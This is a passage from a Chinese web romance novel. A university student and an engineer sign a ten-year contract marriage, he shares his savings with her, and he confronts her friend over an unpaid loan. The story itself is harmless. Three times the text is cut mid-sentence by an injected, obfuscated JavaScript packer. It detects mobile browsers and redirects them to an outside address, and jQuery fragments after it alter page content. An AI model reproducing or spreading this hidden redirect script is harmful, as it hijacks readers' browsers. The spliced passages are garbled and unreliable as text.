或许是她又当又立吧，可她真的不想往后余生一直面对着一个不喜欢的人，也不想因为二十万这辈子就要一直受制于人，所以这也算是给自己争取一点权益。要是成功的话当然好，如果不行…… 梁嵛：“可以。” 出乎意料地，梁嵛居然答应的特别爽快。 常妙怔了怔，忙说：“期限可以你来提，只要不过分我都可以接受。” 梁嵛思索片刻，“十年。” “十年？！” 常妙震惊。 梁嵛：“有什么问题吗？” 常妙讷讷摇头，“没问题。” 十年就十年吧，她今年二十二，十年后三十二，离了婚还是一条好汉！ “还有一件事，我也提前和你说清楚，我提出这个期限不是想占你便宜的，那二十万算我借你的，我后面会慢慢还你，但是，可能会还的很慢。” 梁嵛眉梢轻抬，“不用还，可以当做彩礼，加上剩下的也可以。” 常妙：“那不行，我可没嫁妆还你，就当我借你的吧，这样也让我觉得咱我在这段关系里平等些。” 梁嵛不可置否，只是顿了下后，凝眉说：“那你给我写个欠条，我再转你。” “可以。”常妙表示同意，这很合理，“那咱们先加个微信？我扫你。” 梁嵛取出手机，漂亮的长指在上面飞快点动，随后将屏幕低放在常妙方便扫的位置。 “对了，有件事需要征求下你的意见。” 梁嵛看着通讯录上弹出的新消息，按下确认。 常妙：“你说。” 梁嵛：“婚礼，你想复杂点还是简单点？” 5. 第 5 章 失眠了一夜，常妙到了凌晨才艰难睡着，好在大四也没什么课，她干脆一觉睡到了十点多。 秦羽鹭看她难得睡这么香，也没打扰她，只是在看完一集综艺后，忽然起身扒在常妙的床边探了探。 确认鼻息尚在，她才点头安心地滑到下一期看了起来。 手机两声震动，让常妙恍惚的脑袋从半梦半醒中抓到一丝清明，她摸到手机眯瞪着看了眼。 是梁嵛给她发的消息。 梁嵛：【下午两点，我去接你？】 平息的记忆如海啸般袭来，常妙定住，整个人一下子清醒了。 有件事来着。 昨晚在她坚定否决掉那个婚礼的复杂选项后，两人统一了意见，今天下午，一起去扯证…… 常妙性子虽软，却不是那么扭捏的人，既然已经决定了，她也得到了自己想要的，接下来的事只管去做就行了。 只不过，常妙此刻真的很恍惚，她无法想象自己居然真就答应了一个陌生男人的……求婚？ 她不知道那种情况称不称得上是求婚，但她昨天是真昏，想起走之前那只碰上她额头的大手，常妙确定，能够做下这样大胆到离谱的决定，多半跟自己发烧是有点关系的！ 屏幕熄灭，常妙深吸了口气，重新按亮，点进微信里。 常妙：【可以的，麻烦你了！】 对面回的还挺快：【好，那你给我发下位置。】 - 今天的天气还算不错，午后阳光宜人，照在身上暖暖的，常妙没让梁嵛把车开进来，怕有认识的同学看见产生什么误会，她提前出发，赶在约定的时间准时到了校门口。 这边是个侧门，平时停车偏多，常妙原以为还要找找人在哪，结果刚要抬头张望，就发现离她不远的一辆黑色奥迪上走下来了一个人。 男人西装革履，穿的十分正式，他身量本来就高，宽肩窄腰，一身正装衬得他整个人像青竹般挺拔又成熟。 大约跟从事的职业有关系，梁嵛带给人惯有的感觉就是内敛、严正，禁欲吗，其实不算，但是当你看到他的时候一定会有种小孩不敢在大人面前造次的感觉。 常妙现在就有这种感觉，加上两人年龄上确实有差距，她下意识就有些拘谨起来。 常妙鼓起勇气，快步朝他走过去，“下午好，梁先生。” 梁嵛低头看着身前的小姑娘，她穿了件白衬衫，底下是一条简单的浅色牛仔裤，微卷的长发半扎着披散在肩上，露出线条圆润的脸颊肉来，棉花糖似的观感，让人很想伸手去戳一戳。 他敛下视线，又抬起，“很漂亮。” 嗯? 是在夸她吗？ 常妙被他突然的夸赞弄的一愣，反应过来后，脸颊控制不住迅速飘起一层红晕，但不等她礼尚往来也发表一句赞美之词来，梁嵛便打开副驾的门示意她可以进去了…… 常妙安全意识很强，一进去就老老实实把安全带系好了，男人替她关好门，短暂的独处时间里，她快速把车内环境打量了一遍。 怎么说，这难道就是物似主人吗？ 在她的印象里，一般家用车里总会乱七八糟地放些车主的日常用品或装饰摆件，就比如她舅舅，以前车还在的时候，中控台上必须有一个金灿灿的弥勒佛。 但是梁嵛的车里，堪称一个整洁。 淡淡的木质香，带着一点清新的柑橘味，不熏鼻，闻起来清淡又舒适，至于多余的摆设，一件没有，除了驾驶位那个小号的颈枕，以及后座上放的文件夹，要不是他坐进来后娴熟的开车动作，常妙真的会怀疑这辆车是不是他的。 “怎么了，身体还是不舒服吗？” 常妙没想到他注意到了自己的视线，肩膀受惊抖了下后，飞快答道：“没有，我挺好的，没有不舒服。” 一问，一答，空气中再次落下寂静。 庆大离民政局大约半小时的车程，常妙在这种半生不熟的环境里，一向不是很能坐得住，她偷瞄了眼梁嵛，谨慎地找出个话题，“梁先生，你早上是有什么重要活动吗？” 梁嵛透过后视镜看她，似有疑惑，“怎么这么问？” 常妙：“嗯……我就是看你突然穿了西装，想着会不会耽误你什么工作。” 毕竟前两次见面，哪怕是讲座，他都穿的挺休闲的。 梁嵛难得语噎。 穿西装自然是为了重要场合，可是并不是工作。 “结婚登记照，不是需要正式些吗？” 常妙微怔，“是要正式些，不过，穿白衬衫就好了吧？” 恰好红灯亮起，梁嵛稳稳停车，他无声看了眼自己今天的衣服，眉头思索着什么般轻轻蹙起，“抱歉，我第一次，不大清楚具体要求。” 不知道是不是常妙的错觉，梁嵛的耳朵，好像比平常红一些。 但她没有多想，只是为此感到了些许放松，这是她第一次感受到他也不是那么有距离的一个人。 常妙浅浅笑了下，“没事的，我昨天查过了，登记照没有硬性要求，你这个应该也行的。” 接下来的聊天就逐渐自然了许多，常妙说了说自己现在的情况，也顺便了解了些梁嵛的，不过这人的前二十八年出乎她意料的简单。 他没有父母，从小在福利院长大，本科和研究生都是南江科大毕业，毕业后直接进入陆合科技工作，现在是一名IC设计工程师。 一句话就总结了小半生，常妙也是没有想到。 但幸运的是，她的自我介绍很长，所以梁嵛说完没两分钟，他们就到了目的地。 今天不是什么特殊日子，民政局的人不多，一套流程办下来半个小时都不到。 走出民政局大门的时候，常妙看着手里的红本本有种说不上来的感觉，她发觉身边的人也在看，下意识扫过去，却不知怎么对上了梁嵛的眼睛。 就这么看着，也不说话，常妙一番思考，想着已经这样了，自己是不是得自觉点。 于是她张口就叫：“老公？” 梁嵛沉默了会儿，“老婆。” 常妙：“……” 梁嵛：“……” 不熟。 好怪。 梁嵛及时给出建议，“我觉得我们叫名字就可以了。” 常妙迫不及待点头，“对对！名字就行！梁先生，那个……” “是叫名字。”梁嵛侧头提醒，“我们已经是夫妻了，你可以想一个适合夫妻间的称呼。” 常妙眨了下眼，“那，那你身边的人都怎么叫你，我参考一下？” 梁嵛回忆道：“老梁，小梁，梁。” “……” 常妙：“这都是谁在叫啊？” 梁嵛：“朋友，还有领导同事。” 那她这样叫也不合适吧，可梁嵛目不转睛的看着她，好像真的要等她说出一个结果来。 常妙张了张嘴，试探道：“阿嵛？” “这样可以吗？” 话音落，梁嵛眉眼怔松了一瞬，他浅睨着常妙，顿了顿，“可以，那我以后就叫你妙妙？” 微微上扬的尾音，是询问，常妙有些不自在，但没拒绝。 梁嵛见问题解决，“走吧，先送你回学校。” 先？ 常妙看梁嵛已经率先迈步往停车场的方向走，一瞬疑问卡在喉间， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977416|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只好暂时咽下。 路上，气氛比两人今天刚见面时还要再沉默些，不关其他，是常妙想到了一种可能，内心难免不安。 现在时间还早，一般人办完这种大事都会吃顿饭庆祝一下的，但梁嵛现在既然提出了要送她回学校，自然也不会多绕一圈再去吃什么饭，那接下来……不会是让她去收拾行李吧！ 想到梁嵛这两天做事速战速决的态度，常妙还真觉得不是没有可能。 “我们大四还挺忙的。” 冷不丁的，常妙目视前方，默默抛出话茬。 “都在忙什么？” 梁嵛还挺配合。 “忙毕设啊，当然了，我还得再加一个，忙挣钱。” 为了凸显自己现在确实没时间，活动范围必须在学校，常妙把自己的情况说的严重了些，“你不知道，我们数媒专业的毕设挺麻烦的，要么是拍微电影，要么做动画短片，我选的是动画短片，里面的每一个人物每一个场景都得我自己画，前段时间我接的单子比较多，导致毕设进度落了一大截，我们导师上回还批评我来着。” “对，我们每周一三五还要给导师面看进度！” 梁嵛点点头，像是听进去了，“那你确实得注意点了，时间要分配好，毕业设计应该是和你们的毕业证挂钩吧？得多花点心思。” 常妙一噎，说不清楚这话哪里不对，又好像挺对的，但这不是她想要的话题走向！ 于是常妙琢磨了下，又委婉争取道：“没错，是得多花心思，所以我打算接下来多花些时间到毕设上，然后有问题多和导师交流交流！” 梁嵛：“嗯，挺好的。” 过了会儿，想到什么，转向常妙一本正经地点了下头，“加油。” “……” 常妙有点想哭了，是她说的不够清楚，还是他故意听不明白呀。 对于这段婚姻，常妙在她做下决定的时候就有准备的，但领证和同居不一样，真要她闪婚后立马和这个男人住在一起，她发现她心理上还是有些接受不了，所以但凡有点可能，她都想缓一缓这个进度。 似是感觉到旁边异样的气压，梁嵛侧眸看了常妙一眼。 握在方向盘上的长指摩挲了下，他开口道：“我一个人惯了，不大懂怎么跟女孩相处，有什么问题你可以直接告诉我。” 余光察觉到常妙朝他看过来，梁嵛接着说：“不管怎么样，这份婚姻，我是认真的，第一次做别人丈夫，如果有做的不好的，希望你也可以指出来，我尽可能改善。” 常妙眼睛微睁，有些惊讶他说出的这些话，但不得不说，她被安抚到了。 “那……”她试探道，“我过段时间再搬可以吗？我这边确实还有挺多事，在学校方便一点。” 常妙不想把话说得太决断，毕竟结婚这件事上，人家也没逼她，如果过了这个坎就不认人了，也不合适。 梁嵛听完却愣了下，他送常妙回学校其实并不是为了让她收拾东西搬走的，只是最近公司在做一个大项目，他下午是请的假，原定着民政局那边时间久了他就晚上去加班，现在提前结束了，他自然想着回去上班…… “怎么了，不行吗？”常妙见梁嵛眉头锁着，不禁又忐忑起来。 梁嵛摇头，“不是，你自己决定就好，我的房子离这边比较远，你未来如果要来回跑的话是挺麻烦的，就在学校宿舍住下吧。” 至于住一起的事，等她空闲了再说也不迟。 问题解开，常妙豁然开朗，她忍不住笑起来，“谢谢！” 梁嵛见状，面色也柔和许多。 她笑了，就说明他这个丈夫还算挺善解人意的吧？ 6. 第 6 章 梁嵛把常妙送到学校门口就走了，走之前，要了常妙的卡号，说晚上回去会把钱打给她。 常妙回了宿舍，第一件事就赶紧把结婚证藏起来，她下午走了没多久，秦羽鹭就去了图书馆，这会儿谁都没在，但常妙还是心虚的不行，在衣柜翻来覆去的想找个隐蔽的好位置。 底下都是挂衣服的，上边她一般放过季的被子不会动，正好塞到最里面，也不怕哪天她不小心翻衣服弄出来。 收拾好一切，她想起赵婕的快递没取，又穿上鞋跑到驿站取了快递，等所有东西都弄好，她冲了杯芝麻糊安心地解决了今天的晚饭。 晚上，她一边画着图，一边等着梁嵛的消息，梁嵛跟她说了会加班的事情，所以她一时半会儿的也不是很急，耳机里的音乐一曲接一曲，不知过了多久，突然一声消息提示音中断了音乐，常妙回过神，停下笔，看了眼时间。 十一点多了。 那刚才说不定是梁嵛！ 常妙点开手机看了眼，果然是他，她设置了锁屏不可查看消息，所以点进微信后，她才看到他发了什么。 梁嵛：【你现在身上存款还有多少钱？】 常妙面色一滞，迟疑片刻，还是回复：【不多，两千多块吧，怎么了？】 梁嵛：【这是我的卡号，给我转一半吧。】 一瞬间，常妙感觉有一盆冰水兜头朝她浇了下来，浑身散发着寒意。 梁嵛这是什么意思，为什么……？ 常妙甚至怕自己看错，双手捧住手机紧紧盯着那句话看了好几遍，但是无论她看几遍都没有错，梁嵛就是让她给他转钱！ 不是吧……常妙脸色煞白，不免想到了最糟的一种可能，她不仅被骗婚，还要被骗钱吗？可是她又没钱！！ 接下来的两分钟，常妙把自己未来十年的悲惨人生都想好了，从骗财骗色，到囚禁家暴，再到报复分尸，过去看过的各种新闻此刻突然变成蓝光画质清晰地在脑海里循环播放，提醒着她这事做的是有多么离谱！ 她怎么到现在才反应过来，自己答应的也太容易了，了解人家啥情况吗你就敢结婚，谁给你的胆子！ 常妙正胡思乱想着，手机上居然又弹出了消息，她点开一看，还是梁嵛！ 梁嵛：【？】 打什么问号！骗钱还要催她，是不是个人啊！ 梁嵛：【我刚刚已经把钱给你打过去了，你及时查看。】 骗她骗上瘾了是吧，玩什么你一半我一半，过家家也不是这么过的，她看他纯纯就不是什么好东西！她要再上当就是个彻头彻尾的傻子！！ 常妙咬牙切齿地打字，因为生气，指甲敲在屏幕上咚咚咚的，把身后秦羽鹭的注意力都吸引了过来。 只可惜常妙不会骂人，敲了删，删了敲，可恨每一句都太平淡根本出不了她这口气。 咚咚咚的又打了四个字上去，她怕回复太慢没有威力，眉头紧锁，拼命措辞，谁料这时顶部又蹦出来一条信息。 常妙扫了一眼，又——扫了一眼。 是银行发过来的转账信息。 常妙脑袋顿了一下，拇指在屏幕上转了一圈，还是在信息消失前点开了。 登录，个人中心，明细查询。 一长串红彤彤的数字让常妙陷入迷茫。 汇款人是梁嵛，没错，但这个数额—— 常妙拿食指闷头点着数了两遍。 七位数……………… 还有零有整！ “妙，你干什么呢？” 秦羽鹭的声音一下子将常妙的思绪拉回了现实，她倒吸一口气，顾不得秦羽鹭，扒着桌子踉跄地冲进了卫生间。 两人今天交换过电话，常妙当即给他拨了过去。 对面接的很快，依旧是那种严肃的语气，“怎么了，这么晚打电话过来？” 常妙阿巴了两下才找到了自己声音，“梁先生……” “叫名字。” 什么时候了怎么还能纠正她这个问题！ 常妙吸溜了下鼻子，“阿嵛！” 梁嵛：“嗯，你继续。” 常妙：“那个，转账我收到了，谢谢你，但是你是不是不小心按错了呀！” 梁嵛刚把书房收拾完，他多看了眼抽屉里的文件，不明道：“有什么不对吗？” 常妙耐心解释，“我当时问你借的是二十万，还记得吗，二十万！但是你转给我的太多了。” 梁嵛那边安静了会儿，常妙在这个档口放轻呼吸，觉得他应该是意识到了自己的错误。 考虑到这种给了人东西又要要回去的尴尬情况，常妙心想自己必须要给他一个台阶下。 “那个，没关系的，我经常也有这种按错的时候，你不用担心，我现在马上把多余的给你转回去。” “等等。” 屏息间，常妙听到梁嵛很淡定地继续说：“我没有转错，夫妻财产就是一人一半。” 这下轮到常妙这边鸦雀无声了。 不是，夫妻财产一人一半是这个意思吗？ 常妙没了解过，确实不大清楚，但是梁嵛好像很自信，自然地转到了另一个话题上，“你微信上给我发的那句话是什么意思？” 什么话？ 常妙下意识去翻看聊天记录。 这一看，她又险些疯狂，她几分钟前痛骂梁嵛的话不知道什么时候发出去了！ 梁嵛缓缓念着，“你个老六……老六是什么意思？” 常妙：“老梁！是老梁！”她急中生智，“我要写的是老梁，不小心点错了，你知道的，我经常会有这种按错的时候！” 梁嵛似乎相信了她的说法，但是又有些疑惑，“你叫我老梁做什么？” 常妙讪笑，“没什么，夫妻之间的称呼嘛，想换个试试。” 梁嵛不大赞同，“还是不要了，你就叫之前那个，挺好。” “可以，没问题，以后都叫你阿嵛！” 梁嵛兀自点点头，又想起这是在打电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977417|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，常妙看不见，于是说道：“还有别的事吗，我明天要上班，没有的话我就挂了？” 常妙半分不敢再提起刚才的话题，连忙顺着说：“没事了，挂吧，晚安！” “嗯，晚安。”最后一秒钟时，“对了，你记得也转一半给我。” 常妙：“嗯嗯嗯！” 通话终于结束，常妙抱住手机放在胸前，闭上眼，虔诚感激。 感谢我们的代沟，感谢你年纪大。 秦羽鹭还在担心常妙是什么情况，听着卫生间里隐约有打电话的声音，又看她几分钟了都没出来，干脆在门外敲了敲，“妙妙，你没事吧？” “没事！”常妙站直身子，把门打开。 秦羽鹭上下打量了她一番，“刚才怎么了，那么急？” 常妙脸红红的，“没什么，是我妈的电话。”怕秦羽鹭看出自己说谎，她边说边往外走，“这么晚打过来，我还以为什么事呢哈哈，让我这周末回去吃饭呢。” 周末回去吃饭需要这个点打电话吗，秦羽鹭存疑，但常妙一直都是这样，出事了宁肯一个人扛着也不愿意和朋友说，她也逼不了她。 “妙妙，要是有什么困难你可以跟我说，能帮的我一定帮。” 常妙正准备关电脑，闻言，回头看她，软软笑起来，“放心吧，我真没事。” 说完，又觉得实在感动，一句话无法表达她的感情，走过去张开手臂给了秦羽鹭一个大大的拥抱，“羽鹭，你可真好。” 秦羽鹭身子僵了下，但很快放松下来，她大咧咧地拍着常妙的肩膀缓解羞涩，同时不免感叹，“妙啊，你某些时候真的很大胆啊。” 常妙抬头，“什么？” 秦羽鹭比常妙能高一点，她歪头瞅着她，“夸你能勇敢表达爱！” 别看她平时性格挺直爽的，但在这方面，她跟常妙差的可不是一点半点。 或许是跟家庭环境有关吧，从小在长辈们不吝爱意下长大，自己也会变成一个温暖的人。 常妙笑了笑，不置可否。 - 很晚了，两人洗漱完，陆续爬上床准备睡觉，黑暗里，常妙抱着被子，眨巴眼望着头顶的蚊帐。 她在想晚上的那通电话。 说真的，梁嵛这个人有些出乎她的意料。 他的脑回路，好像跟别人不大一样？ 还记得那会儿羽鹭有说过，电子信息工程这个专业很难，不是什么人都能读的，讲座那天，陆依然的那个舍友也说过，能进陆合科技工作的一定都是智商超标的大佬，就连他本人的外形也无一不透露着严谨、智慧。 但为什么这么聪明的人会在婚姻里变成这样啊。 常妙想不通，但是，又很难不承认，梁嵛今天的这个行为一定程度上让她对这份关系没有那么不安了。 至于那些钱，她觉得还是有必要再跟梁嵛讨论讨论，而在此之前——常妙打开手机，点进手机银行。 那一千多块钱还是先转给他吧！ 7. 第 7 章 周五，晴。 早上一起去教室给导师看过毕设进度后，常妙和秦羽鹭就近去了食堂解决午饭。 这会儿十一点多，大批的学生还没下课，食堂的人不多，但两人习惯性地照旧一个占座，一个端盘。 “妙妙，这！” 秦羽鹭朝常妙招手。 两人点的是酸辣粉，汤汤水水的容易撒，秦羽鹭帮忙给两人摆好。 秦羽鹭饿了，也不客气，拨开红油，挑起一筷子吹了吹就吃了起来，刺激的酸辣口裹着入味的地瓜粉一下肚，她忍不住满足地长出了一口气，“啊，学校这家的酸辣粉真的绝。” 感叹之后，她像往常一样想找常妙获得同感，但一抬头，常妙居然还在那摆弄手机。 秦羽鹭讶异，把夹起花生米缓慢放到嘴里，“你最近是怎么了，真吃饭先给手机吃啊？” 常妙快速打完最后一个字，把手机放到一边，眨眨眼笑说：“没有啊，就是觉得很香，拍个照，记录生活嘛！” 其实不是…… 她是给梁嵛发的。 现在事情的走向很奇怪，自从上次领证后，两人再也没见过面，但梁嵛每天都会把他做了什么以文字的方式简单告诉她，比如吃饭，比如下班，偶尔有外出的话，也会给她拍个照。 虽然没有明说，但常妙认为，这应该就是在报备吧。 开始一周，是梁嵛单方面，后来常妙想想，觉得应该是相互的，所以她也学着慢慢给他发了起来。 于是乎，常妙神奇地发现自己的“婚后生活”好像跟单身时也没有什么太大差别？ 除了好友列表里多了个人，两人每天互相按点打卡，还有效提高了她的自律能力！！ - 这天傍晚，常妙吃完饭照例准备打个卡，点开微信，却发现梁嵛在几分钟前已经给她发了消息。 梁嵛：【明天有时间吗？】 常妙看看电脑右下角，确定现在确实是六点，回复：【有的，你今天不加班了？】 梁嵛：【嗯，这边工作暂时告一段落了，最近应该都不会加班了。】 常妙给他发了一个比大拇指的表情包。 之前两周，梁嵛几乎每次给她发下班的消息都在九、十点以后了，这种加班强度，常妙打从心底里佩服。 梁嵛：【那明天晚上一起吃顿饭？】 常妙自然没有理由拒绝，正好还有事情想当面和他谈，【可以的，那咱们还是学校西门见？】 梁嵛：【好。】 天气越来越暖，但晚上的风还是凉飕飕的，常妙穿了件吊带，外面套一件蓝色衬衫，头发念及要吃饭，干脆全部高高扎成丸子头，显得清爽又青春。 两人约的是五点，因为是休息天，这个时间校门口的人流量还挺多，梁嵛没有找到停车位，只好将车停到了一条街以外的地方，常妙按照他分享的位置找过去，拐过弯，一抬眼，没看见车，倒是先看见了梁嵛。 时隔两周不见，生疏是有的，常妙意外和他对视后悄然移开，过了会儿，又趁着走近的时间重新望向他腼腆笑了下，“你怎么不在车上啊？” “怕你找不见，下来接一下你。” 梁嵛换手拿钥匙，自然地和她并肩。 常妙余光轻扫过身侧的男人，眨了眨眼。 她的适应能力还是挺快的，开始的尴尬在这几步路里快速褪去，她找了话题说：“晚上咱们要去吃什么？” 梁嵛：“朋友推荐的一家私房菜，或者你有更想吃的，也可以换一下。” 常妙：“不用换，你已经有主意了那就吃你选的那家，下回可以再按我想吃的来。” 梁嵛看她，“好，下回听你的。” 车里，梁嵛正拿手机搜索导航，常妙觉得这个时机可以，便开口：“阿嵛，有件事想跟你谈一下可以么？” 梁嵛抬头，面色不知怎么，好像比刚见面时柔和了点，“嗯，你说。” “就是关于你给我多转的那些钱。”鉴于这是个非常私密的话题，常妙身子往梁嵛那边靠了些，声音变小，“我觉得你要不收回去吧，没有必要给我这些。” “为什么？”梁嵛莫名地看了眼她，语气带着笃定，“我们是夫妻，给你一半是应该的，而且你也给了我一半。” 常妙很想说，她的一千来块跟他那一百来万比起来太不一样了好吗！ 她就没见过哪对夫妻刚一结婚就这样分财产的。 好像是猜到了常妙在想什么，梁嵛耐心给她解释，“我以前见过一对夫妻是这样的，这很正常，你不需要有负担。” 是吗？ 常妙有一瞬间怀疑自己，但是很快反应过来，不管正不正常，有一点很重要，“我们只有十年的关系，你这样不觉得自己很亏吗？” 梁嵛似乎在思索，过了片刻才说：“我说过，我对这份关系是认真的，哪怕只有十年。所以在一段认真的关系里做该做的事，我不觉得有什么不对，自然也谈不到亏不亏。” 常妙哑言，心里居然有一丝愧疚生了出来。 见常妙不再说话，梁嵛默认她没有异议了，手机导航已经设置好，他的手扶向方向盘，但在启动前，他还是最后说了一句，“那些钱你就安心收着吧，毕竟，你是我的妻子。” …… 梁嵛选择的餐厅并不远，开车二十来分钟就到了，店内环境很好，黑色和浅木色搭配，配合着少量的铁质架点缀，吊顶随着分区也有划分，就比如她和梁嵛坐的这一列，上面挂着一列中式复古的灯笼，光线微微偏黄，看起来很有氛围感，但是最令常妙感到愉悦的是，这家店没有味道。 一般的餐馆里因为长久混杂着油烟，不可避免地都会有一种油腻的味道，但是这家店保持的很好，几乎闻不到。 梁嵛把菜单给了常妙，让常妙先点，常妙看了眼价钱，微微咋舌，幸好这家店的服务员送来菜单就走了，不会那么有压迫感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977418|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吃这么贵吗？”她放轻声说。 放在以前她是可以接受的，但是现在不行！ 梁嵛望着对面的常妙，她用两只手捂住脸侧，一双大大的杏眼藏在阴影里也让人忽视不掉。 “算是补的。”他替她倒了杯茶说，“本来上次领证结束就该和你吃这顿饭的，但我那时光记着上班，没考虑到这一点，今天就算补那次的，所以贵一点也没问题。” 常妙点点头，心想他还挺有仪式感，不过低头扫了一圈菜单，她还是点了比较便宜的两个菜，梁嵛在她后边又添了两个，然后才叫来了服务员。 等菜的时间有些长，梁嵛话少，常妙一时半刻也想不到什么能聊的，干脆拿出手机翻起了朋友圈。 她先刷到的是赵婕，打工人摸鱼发牢骚，常妙默默给她点了个赞。 再滑。 是李茜熙，发的她和她男朋友的合拍。 点赞。 又滑了两三下，常妙指尖定住，眉头拧了起来。 “怎么了？” 常妙闻声，抬头发现梁嵛正看着她，反正也是聊天，常妙索性就把这件事讲了出来。 刚才看到的那个朋友圈其实是她之前社团里的一个朋友，叫何菲。 半年前常妙家还没出事的时候，何菲说自己急用钱，找她借了三千块到现在还没还，结果刚才看她发朋友圈，居然旅游去了！ 梁嵛突然神色严肃起来，“你中间没有找她要过吗？” 常妙坐直，“要了呀！” 梁嵛：“要过几次，催过几次？” “催？”常妙气势一下下去了，“催不好吧？毕竟我和她之前关系挺好的。而且我问她要过两回，她讲话还都挺客气的。” 梁嵛向椅背上靠去，很轻地吐了口气。 这姑娘就是典型的那种不好意思要钱的人，明明自己是债主，却把自己放在了欠债的位置，这样的想法恐怕再给她半年这钱也要回不来。 常妙一看他这样，莫名有点心虚起来，本来只是想当个闲聊的话题的，但她现在觉得自己好像等待老师训斥的小学生！ 梁嵛：“如果你不介意的话，找机会你叫她出来，我帮你要怎么样？” 常妙惊讶，“你帮我要？” “嗯。”梁嵛点头，“如果你不介意的话。” 怔愣片刻，常妙忙道：“不介意不介意！” 她平时最怕拒绝人了，不管什么事但凡沾上感情，她就很难开口，何菲之前又总跟她客客气气地绕圈子，她就更没办法，所以如果现在能有人帮她开这个口，那就再好不过了！ 大概是有了收钱的希望，常妙后来吃饭都比平时香了不少。 只是…… 在察觉到来自于对面的某道视线不知什么时候起一直都没有移开后，常妙悄悄抬眼望向对面落在空碗上的筷子，又往上看看正襟危坐的梁嵛，无奈道： “阿嵛……你下次吃饭可不可以慢一点呀？” 8. 第 8 章 事不宜迟，趁着何菲刚刚旅游回来是最好的要账时间，常妙按梁嵛说的，借口请客，三言两语的，还真把人叫了出来。 奶茶店里，常妙比何菲早到一点，她的座位面对着大门，一眼就能看见进来的客人，见何菲进门张望，她立刻朝她招了招手。 何菲背着个小包，衣服没再像旅游时穿的那么时髦，简单的T恤牛仔裤，典型的学生打扮，“常妙，好久不见！”她很开心地跟常妙打招呼。 常妙也笑，“来，坐这，你想喝什么可以先去点。” 何菲有意无意地看了常妙一眼，然后转去收银台要了杯双皮奶，都是在学校门口开的店，价格没有特别贵的，五块钱一杯就能买到，店员动作很麻利，收完钱就把双皮奶从冰柜里取出给了何菲。 何菲过来坐下，一边拆着勺子包装一边闲聊似的说：“咱们不是去吃饭吗，怎么还到这坐了？” 常妙：“哦，我还有个朋友，要晚一点，所以先在这边等一下。” 何菲点点头，没再提这件事，转而跟常妙聊起了最近社团里的情况，常妙从半年前起就没再参加过社团活动了，但何菲倒是每逢活动都会去跟那些学弟学妹们玩一玩，听她说今年来了几个新人，还挺有意思的。 常妙时不时附和着，余光同时一直注意着门口。 怪她时间没约好，何菲说自己周末有事，只能把这个时间安排在周内，但周内梁嵛又要上班，为了帮她特意请了两个小时的假，从宿舍出来前，他给她发了消息说准备出发，不知道这会儿人到哪里了…… 正想着，店门外恰巧出现一个身影，男生高高大大，穿着件短袖搭着天蓝色衬衫，很年轻的样子，常妙下意识默认不是收回视线，但是顿了一下又看过去，发现真的是梁嵛！ 大概是常妙惊讶的表情太明显，何菲也顺着她的目光看了过去。 “不好意思，我来晚了。” 梁嵛进来后，直接迈着长腿坐到了常妙身边，窄小的双人沙发被他压得更深，常妙一不留神就溜了下去，她不动声色地往边上坐了坐，然后就听到对面何菲有些好奇的疑问，“常妙，这位是？” “就是我刚跟你说的那个朋友，叫梁嵛。”常妙拿出早就想好的说辞。 “你好。”梁嵛适时向对面点了下头，算作招呼。 何菲揶揄笑，女生说悄悄话一样挡住嘴说：“你什么时候有这样的朋友啊，长得还挺帅的，是我们学校的吗？” 常妙正要解释，梁嵛却在她之前极自然地开了口，“你欠常妙的钱打算什么时候还？” 话音落。 空气中死一般的寂静—— 常妙瞪大眼睛蹭地惊恐看向梁嵛！ “常妙，你这是什么意思啊？” 何菲僵住的笑已经缓和下来，但脸色仍旧不大好看，不过她并没有说出特别难堪的话，只是身子不断往后靠，重新打量起对面的两个人来。 “我……” 常妙也没想到梁嵛居然这么直接，念及俩人之前的交情，她本能地想把这个场面圆一圆，可梁嵛好像知道她要干什么，在桌下及时按住了她的手。 “就是字面意思，我没有说清楚吗？” 梁嵛平静地望着对面，冷淡的声音无形中仿佛在雪上加霜，常妙最是受不了这种情况，轻吸了一口气，不敢再看何菲的表情，但梁嵛惊人的自如，他接着道：“那我就再说清楚一点，半年前，你借了常妙人民币三千块钱，打算什么时候还？” 何菲皱了皱眉，沉默片刻，没有回答梁嵛的话，转而去和常妙说话，“常妙，我从来没说不给你还钱对不对，我这人就是容易忘事，记性不好，这个月底，月底我一定给你还。” 梁嵛在一边语气幽幽，“欠了半年了还要往后拖吗？” 何菲瞥了梁嵛一眼，憋着气不好发，仍旧跟常妙说：“我不是不想还你钱，是我最近真的没钱……” 梁嵛：“没钱还出去旅游？” 何菲一噎，“那是我的一个朋友请我去的，不是我自己花钱的。” 梁嵛：“是吗，什么朋友给我介绍一下？” 何菲：“……我的朋友凭什么要给你介绍啊？” 梁嵛：“凭他有钱大方愿意请朋友旅游？” 